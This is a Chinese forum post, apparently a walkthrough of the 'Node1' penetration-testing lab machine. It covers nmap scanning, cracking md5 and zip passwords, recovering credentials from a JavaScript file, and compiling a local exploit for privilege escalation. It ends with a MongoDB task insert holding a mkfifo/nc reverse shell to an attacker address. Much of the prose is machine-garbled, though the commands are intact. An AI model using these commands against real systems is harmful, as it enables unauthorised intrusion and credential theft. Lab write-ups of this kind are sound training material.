首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
SAAS
ToB门户
了解全球最新的ToB事件
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
微博
Follow
记录
Doing
博客
Blog
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
排行榜
Ranklist
相册
Album
应用中心
qidao123.com ToB IT社区-企服评测·应用市场
»
论坛
›
数据库
›
SQL-Server
›
Node1靶机通过教学
返回列表
发新帖
Node1靶机通过教学
[复制链接]
发表于 2025-10-5 09:13:34
|
显示全部楼层
|
阅读模式
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
×
一、主机发现
arp-scan -l
复制
代码
得到靶机ip为192.168.55.152
二、端口扫描、目次罗列、弊端扫描、指纹辨认
2.1端口扫描
nmap --min-rate 10000 -p- 192.168.55.152
复制
代码
发现开放了3000端口,竟然没有开放80端口
扫描UDP端口
nmap -sU --min-rate 10000 -p- 192.168.55.152
复制
代码
发现不存在UDP端口
2.2目次罗列
dirb http://192.168.55.152:3000
复制代码
没有别的信息,只能通过靶机网站举行信息网络了
2.3弊端扫描
nmap --script=vuln -p22,3000 192.168.55.152
复制代码
没有弊端信息
2.4指纹辨认
nmap 192.168.55.152 -sV -sC -O --version-all
复制代码
三、进入靶机网页举行信息网络,拿到低权限shell
进入靶机页面举行信息网络
发现了登录框,实验了SQL注入,发现不太行
只悦目看网页的源代码了
发现这几个js代码的下令像提示
实验打开看看,在这个js文件中找到了信息
继承拼接访问
找到了
加密
后的暗码,去举行md5解密
实验登岸tom用户
发现只有admin才气登岸,而刚刚的js文件都不是admin,只能继承探求别的js文件
乐成找到admin用户
破解暗码即可
myP14ceAdm1nAcc0uNT
manchester
复制代码
乐成登岸,然后发现可以下载文件
利用cat下令检察后发现是base64编码后的文件,先举行解码
cat myplace.backup | base64 -d >5.txt
复制代码
发现这个文件是zip文件,解压必要暗码
爆破压缩暗码
fcrackzip -u -D -p rockyou.txt 5.zip
命令解释:
-D 指定方式为字典猜解
-p 指定猜解字典的路径
-u 表示只显示破解出来的密码,其他错误的密码不显示出
复制代码
乐成爆破出来暗码:magicword
检察一下app.js文件,乐成找到mark用户账号暗码
mark
5AYRft73VtFpc84k
复制代码
乐成登岸!
四、提权
4.1靶机信息网络
发现该用户没有sudo权限,没有定时任务,只好实验在靶机内举行信息网络
4.2exp提权
实验符合靶机
版本
的exp
searchsploit Ubuntu 16.04 privilege # 搜索符合靶机
版本
的提权漏洞
复制代码
经实验发现44298.c可以
cd tmp
http://192.168.55.132/44298.c
gcc -o 44298 44298.c
./44298
复制代码
乐成提权!
4.3登岸tom用户
刚刚得到mark账号暗码时,发现是毗连了Mongodb
数据库
,实验利用markidentity举行登岸
mongo -u mark -p 5AYRft73VtFpc84k scheduler
复制代码
show collections #查看
数据库
中的集合(类似于mysql中的表)
db.tasks.find({}) #查询tasks中的所有文件
复制代码
发现内里没有
文档
,我们可以实验在此中插入
文档
举行反弹shell
db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.55.132 8888 >/tmp/f"})
复制代码
乐成登岸tom用户
回复
使用道具
举报
返回列表
浏览过的版块
物联网
Java
盛世宏图
+ 我要发帖
登录后关闭弹窗
登录参与点评抽奖 加入IT实名职场社区
去登录
微信订阅号
微信服务号
微信客服(加群)
H5
小程序
快速回复
返回顶部
返回列表